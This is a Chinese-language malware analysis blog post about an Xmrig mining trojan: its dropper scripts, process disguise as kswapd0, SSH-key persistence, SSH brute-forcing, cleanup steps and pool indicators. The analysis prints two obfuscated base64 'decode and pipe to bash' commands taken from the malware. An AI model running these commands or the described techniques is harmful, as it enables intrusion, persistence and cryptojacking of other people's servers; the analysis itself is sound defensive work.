Xmrig挖矿木马分析

Posted ChaMd5安全团队

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Xmrig挖矿木马分析相关的知识,希望对你有一定的参考价值。

本篇文章由ChaMd5安全团队逆向分析小组投稿

前提:某天腾讯云发来一封邮件来提醒,自己的服务器中木马了。根据邮件中的提示,把疑似木马的程序tsm64拷贝下来,上传到vt上,确认是木马。好了,开始分析它。

一、初步定位恶意程序在系统中的痕迹

首先,通过命令“find / -name “tsm64” “全局搜索这个恶意样本存储在哪个目录,最后在/tmp/.X25-unix/.rsync/c目录下发现了它。浏览整个.rsync目录,发现都是恶意样本相关的文件,于是将其打包下载到本地进行分析。对该目录的子目录和文件进行分析,得到以下信息:

1. tddwrt7s.sh为起点,该脚本通过curl从远端下载dota3.tar.gz并解压,再调用initall进行初始化。


2. Initall脚本先执行init脚本,再执行init2脚本。init脚本将dota3.tar.gz解压出的.configrc目录复制到root目录下,并在后台执行a目录下的init0脚本(github上分享的一个专杀矿工进程的脚本)清除主机可能已经存在的矿工进程,后台运行a与b目录下的a脚本和c目录下的start脚本,再设置每分钟检查执行cron.d脚本(自己生成的),该脚本将a目录下upd脚本和b目录下的sync脚本设置为每次系统重启后执行。

 Xmrig挖矿木马分析


3. Init2脚本前面的工作与init相同,略过 。

4. a目录下的upd脚本会执行run脚本,而run脚本会先执行stop脚本停止上一轮该系列脚本的工作(相当于为新一轮脚本执行做准备),重点是其会执行恶意的可执行文件kswapd0。在Linux中,kswapd0进程是用来管理虚拟内存的kswapd0 移动内存的过程就会造成 CPU 的大量使用,所以该恶意程序通过伪装成kswapd0进程来规避管理员怀疑其大量耗用CPU资源的行为。

5. b目录下的run脚本会将一个固定ssh rsa密钥存储在 ~/.ssh/authorized_keys中实现持久化控制访问我的服务器。

 Xmrig挖矿木马分析


6. C目录下的aptitude脚本执行go脚本,而go脚本会执行tsm脚本。Tsm脚本会根据服务器系统的位数而选择执行恶意可执行文件tsm32还是tsm64 

.rsync目录下各脚本调用关系如下图所示:

 Xmrig挖矿木马分析


二、静态分析

 

Xmrig挖矿木马分析

Xmrig挖矿木马分析


    那么就剩下tsm32/tsm64这组恶意程序还未知其功能,拖进ida里分析一下。

 

Xmrig挖矿木马分析

Xmrig挖矿木马分析


 

    根据逻辑如果正常执行到loc_406257,就会来到loc_4062BD。在这里,程序通过system函数执行命令"sort -R b > p; sort -R a > ip"。先不理会这个信息。在下一个块里,该程序对'/dev/tty'(是我们使用的控制终端)进行读取,可以查看到当前终端的显示内容。

sub_408680函数中实现了与45.9.148.125(查ip,发现是一个荷兰的服务器)建立ssh连接,以及读取文件v(作用未知)。sub_4099F0函数进行文件写入或者发送数据。到这里可以知道该恶意程序的一个恶意行为是读取文件v的内容然后发送给该远程服务器。

 

Xmrig挖矿木马分析

Xmrig挖矿木马分析


 

    紧接着,该程序将从终端读取到的内容保存到变量s里

    通过搜索字符串发现了两组恶意命令echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjUtdW5peApjZCAuWDI1LXVuaXgKbXYgL3Zhci90bXAvZG90YTMudGFyLmd6IGRvdGEzLnRhci5negp0YXIgeGYgZG90YTMudGFyLmd6CnNsZWVwIDNzICYmIGNkIC5yc3luYzsgY2F0IC90bXAvLlgyNS11bml4Ly5yc3luYy9pbml0YWxsIHwgYmFzaCAyPjEmCnNsZWVwIDQ1cyAmJiBwa2lsbCAtOSBydW4gJiYgcGtpbGwgLTkgZ28gJiYgcGtpbGwgLTkgdHNtCmV4aXQgMA==" | base64 --decode  | bash “和”echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjUtdW5peApjZCAuWDI1LXVuaXgKbXYgL3Zhci90bXAvZG90YTMudGFyLmd6IGRvdGEzLnRhci5negp0YXIgeGYgZG90YTMudGFyLmd6CnNsZWVwIDNzICYmIGNkIC90bXAvLlgyNS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyNS11bml4Ly5yc3luYy9jL3RzbSAtdCAxNTAgLVMgNiAtcyA2IC1wIDIyIC1QIDAgLWYgMCAtayAxIC1sIDEgLWkgMCAvdG1wL3VwLnR4dCAxOTIuMTY4ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDhtICYmIG5vaHVwIC90bXAvLlgyNS11bml4Ly5yc3luYy9jL3RzbSAtdCAxNTAgLVMgNiAtcyA2IC1wIDIyIC1QIDAgLWYgMCAtayAxIC1sIDEgLWkgMCAvdG1wL3VwLnR4dCAxNzIuMTYgPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgMjBtICYmIGNkIC4uOyAvdG1wLy5YMjUtdW5peC8ucnN5bmMvaW5pdGFsbCAyPjEmCmV4aXQgMA==" | base64 --decode | bash “,分别对它们base64的内容解密,结果如下:

 

Xmrig挖矿木马分析

可以看出,上面解密出来的脚本与.rsync.configrc目录下的shell脚本作用基本是相同的。

三、动态分析

 

Xmrig挖矿木马分析


接下来,想知道ip这些文件是哪里来的,因为程序中和本地都没有它们存在。猜测是网络下载,于是打算跟踪connect函数的调用,发现程序最先与45.9.148.125建立连接。

 

Xmrig挖矿木马分析

 

Xmrig挖矿木马分析

Xmrig挖矿木马分析

    tsm64下载好这些文件后,打开文件p进行逐行读取,将里面的需要爆破的ip和端口读出。这里tsm64创建了五百多个线程去爆破目标。

Xmrig挖矿木马分析

创建文件v进行读取,如果读出数据,则发送到远端服务器。由于v文件一直为空,这一步一直无法验证。但是,基于以上的分析,可以猜出,v文件存储的是爆破结果。

四、清除方案

对于处理该挖矿木马,提出以下清除方案:

1. 通过crontab -e命令删除相关的四条定时任务。

2. 杀死kswapd0进程,如果tsm32tsm64进程也存在的话也杀死。

3. 删除~/.configrc目录、/tmp/.X25-unix/.rsync目录、dota3.tar.gz文件,以及~/.ssh/authorized_keys文件。

4. 更新ssh的账号密码,因为该木马就是通过爆破ssh账号进来的。

五、特征总结

矿工名:“x”

1. "url": "debian-package.center:80"

2. "url": "[2a0e:fa00:0:5::1]:443"

3. "url": "[2a0e:fa00:0:5::1]:80"

4. "url": "45.9.148.129:80"

5. "url": "45.9.148.129:443"

6. "url": "45.9.148.117:80"

7. "url": "45.9.148.117:443"

8. "url": "45.9.148.58:80"

9. "url": "45.9.148.58:443"

10. "url": "45.9.148.59:80"

11. "url": "45.9.148.59:443"


end


招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析+AI 长期招新

欢迎联系admin@chamd5.org




以上是关于Xmrig挖矿木马分析的主要内容,如果未能解决你的问题,请参考以下文章

Xmrig挖矿木马之暴力分析!

记一次Xmrig挖矿木马排查过程

网络流量威胁-xmrig协议PCAP分析

Linux服务器清除xmrig挖矿病毒详细教程

挖门罗币的那些事

解决挖矿病毒Xmrig miner CPU 100%服务器卡死问题